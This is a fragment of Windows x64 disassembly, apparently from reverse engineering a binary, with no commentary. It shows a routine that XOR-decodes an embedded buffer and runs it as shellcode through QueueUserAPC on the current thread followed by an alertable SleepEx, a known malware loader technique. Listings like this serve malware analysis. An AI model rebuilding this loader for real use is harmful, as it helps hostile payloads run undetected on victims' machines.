movsd qword [rax], xmm0
mov eax, dword [rbp + 0x74c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x5d0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x74c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x5d0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x74c], 0x182
jle 0x140002931
mov dword [rbp + 0x760], 0
jmp 0x140002a2b
mov eax, dword [rbp + 0x768]
movsxd rdx, eax
mov rax, qword [rbp + 0x600]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x760]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x768]
movsxd rdx, eax
mov rax, qword [rbp + 0x600]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x760], 1
add dword [rbp + 0x768], 1
cmp dword [rbp + 0x768], 0x450
jle 0x1400028cb
mov rax, qword [rbp + 0x600]
mov qword [rbp + 0x5e8], rax
mov rax, qword [rbp + 0x738]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5e0], rax
mov rax, qword [rbp + 0x738]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5d8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x5e8]
mov r9, qword [rbp + 0x5e0]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x5d8]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x7b0]
add rsp, 0x848
pop rbx
pop rsi
pop rdi
pop rbp
ret